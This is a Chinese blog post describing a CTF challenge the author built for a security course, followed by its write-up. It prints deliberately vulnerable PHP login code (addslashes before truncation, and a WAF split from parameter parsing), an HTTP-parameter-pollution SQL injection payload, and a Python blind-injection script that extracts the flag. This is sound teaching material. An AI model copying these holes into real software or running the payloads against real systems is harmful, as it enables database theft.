出题(NO.4)
作者:互联网
前言
网络攻防基础课要求出一个CTF
的题目,上周就出完了,一直都没写。想想还是要把我出的每道题都记录一下的。
参考
Day13
的讲题和留的题目,有两个知识点
2. 在使用了addslashes()
函数之后,又截取了子串,这很可能会导致截取之后的子串将转义后的单引号\'
给分开,这样转义的作用也就没有了,可以被攻击者用来绕过转义。
3. HTTP
参数污染。算是一个很小的知识点吧。hacker
想法就是独特,总是不按规定的路子走。
出题
题目包含两个重要文件index.php login.php
,这两个文件中实现的代码的设定是:用户提交的参数在index.php
中已经被过滤好了,传递到login.php
的参数一定是合法的。在index.php
对输入参数检查了是否含有sql
的关键字,过滤了非常多,无法绕过,而login.php
中只对取到的参数进行了转义,并且对转义之后的字符串进行了转义。
问题在于index.php
中取用户参数是通过$_SERVER['REQUEST_URI']
取的,login.php
是通过$_GET
取的,这两者的差异造成HTTP
参数污染。
//index.php
<?php
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if(isset($request_uri[1]))
{
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$temp = $_value[0];
$$temp = $_value[1];
}
}
}
if(!isset($user_name) || !isset($pass_word) || !isset($request_uri[1]))
{
die("");
}
echo "<script>document.getElementsByClassName('btn_login')[0].click();</script>";
if(!waf($user_name) || !waf($pass_word))
{
echo "<script>document.getElementById('nm_iframe').contentWindow.document.body.innerHTML='Be a cute boy~ Plz :-D';</script>";
die("");
}
else if(waf($user_name) && waf($pass_word))
{
$result = file_get_contents("http://127.0.0.1/6954c9b2887c1f177fb8b8ef9a30dfdd.php?".$request_uri[1]."");
echo "<script>document.getElementById('nm_iframe').contentWindow.document.body.innerHTML='" . $result . "';</script>";
}
function waf($string)
{
if(preg_match("/^information|union select|,|select|ascii|#|union|\*|%|flag|exp|benmark|sleep|or|as|if|limit|database|substr|mid|hex|char|version/i", $string, $matches))
return 0;
return 1; // means no hack
}
?>
//login.php
<?php
$username = addslashes($_GET['user_name']);
$password = addslashes($_GET['pass_word']);
if(strlen($username) > 10)
{
echo "Anything more than ten characters in the username is ignored.</br>";
$username = substr($username, 0, 10);
}
$conn = mysqli_connect('mysql', 'class', 'xxx', 'class');
if(!$conn)
{
echo '</br><span style="color:#444">' . mysqli_connect_error() . '</span></br>';
}
$result = mysqli_query($conn, "select * from user where username='" . $username . "' and password='" . $password . "'");
if($result == FALSE)
{
mysqli_close($conn);
die("Sql error!</br>");
}
/*
$count = 0;
while($row = mysqli_fetch_array($result, MYSQLI_NUM))
{
$count = $count + 1;
}
*/
mysqli_close($conn);
echo "Error username or password!</br>";
?>
题目的代码就是上面两个。在实际部署题目时,将login.php
改为了一个用户无法猜测的文件名(要不然直接访问login.php
,参数任何过滤,那就凉凉了)。提供了.index.php.swp
和.login.php.swp
,可以恢复源码。
WriteUp
题目通过.index.php.swp
和.login.php.swp
拿到源码
拿到版本源码不是最终版本。直接访问login.php
是没有该文件的,最终版本里的login.php
被命名为一个不可猜测到的文件名。无法直接访问到。
题目实现的逻辑是:输入用户名和密码,后台数据库查询。从源码审计知道,服务器端代码是没有用户名/密码验证通过的选项的。即,没有正确的用户名密码。只能通过sql
注入来从数据库中拿到flag
。
index.php
中关键代码为其中的waf
函数,过滤掉了所有可能被用到的sql
语句关键词。另外还知道,经过过滤后的get
参数被传给另外一个文件login.php
。
login.php
文件对传入的get
参数做了addslashes
的处理,进一步防止sql
注入。因为默认传递过来的参数已经经过了过滤,所以没有再做其他防护。而且规定用户名长度不能超过10,超出部分会被截断,直接忽略。
这也是为什么在实际部署时把login.php
命名为不能猜测到的文件名。
漏洞点
- 通过
php
的一个特性:php
自身在解析请求的时候,如果参数名字中包含空格、.
、[
这几个字符,会将他们转换成_
。但是通过$_SERVER['REQUEST_URI']
来得到query
参数时候是不存在这样的问题的。而index.php
过滤是通过$_SERVER['REQUEST_URI']
来过滤的,login.php
是通过$_GET
直接来获取query
参数的。 - 用户名超出十个字符之后的部分会被截断,但是判断十个字符是在
addslashes()
函数之后,导致漏洞点。存在123456789'
被转义后变为123456789\'
,截断之后变为123456789\
的情况,\
就可以被用来转义sql
语句中本来的单引号。
payload
?user_name=fda&pass_word=dfasf&user[name=123456789%27&pass[word=or%20(if((ascii(substr(database(),1))=114),1,exp(710)))%23
这样,在index.php
过滤时,过滤的是user_name
和pass_word
字段,可以随便输入合法值绕过过滤。
而login.php
实际接收到的user_name
和pass_word
值为user[name
和pass[word
的值,是没有任何限制的。
实际执行的sql
语句是:
select * from user where username='123456789\' and password='or (if((ascii(substr(database(),1))=114),1,exp(710)))#'
通过报错注入,判断不同的页面返回,来猜测后台语句执行结果,从而查询到flag
字段的值。(flag
是flag
表的flag
字段值)
exp
如下:
import requests
url = "http://39.108.217.190:8082/index.php?user_name=1&pass_word=2&user[name=123456789'&pass[word=or(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),1,exp(710)))%%23"
def get_flag():
result = ""
for i in range(1, 50):
flag = 0
for j in range(32, 127):
re = requests.get(url % (i, j))
if(len(re.text) == 2461): # 需要修改具体数字
flag = 1
result = result + chr(j)
print(result)
break
if(flag == 0):
break
print(result)
if __name__ == "__main__":
get_flag()
最后
简单记录。
标签:index,name,flag,NO.4,出题,user,login,php 来源: https://blog.csdn.net/littlelittlebai/article/details/90762369